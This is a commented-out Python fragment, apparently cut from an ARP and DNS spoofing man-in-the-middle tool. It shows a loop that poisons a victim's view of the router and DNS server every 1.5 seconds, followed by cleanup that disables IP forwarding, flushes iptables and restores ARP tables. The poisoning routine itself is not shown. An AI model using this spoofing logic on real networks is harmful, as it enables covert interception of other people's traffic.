# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
# exit(0)
# while 1:
# continue
# reactor.run()
# while 1:
# try:
# #If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router
# if not dnsIP == routerIP:
# Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
# Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
# time.sleep(1.5)
# except KeyboardInterrupt:
# print 'learing iptables, sending healing packets, and turning off IP forwarding...'
# if args.write:
# logger.close()
# if args.dnsspoof:
# q.unbind(socket.AF_INET)
# q.close()
# ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
# ipf.write('0\n')
# ipf.close()
# if dnsIP != routerIP:
# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
# Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
# exit(0)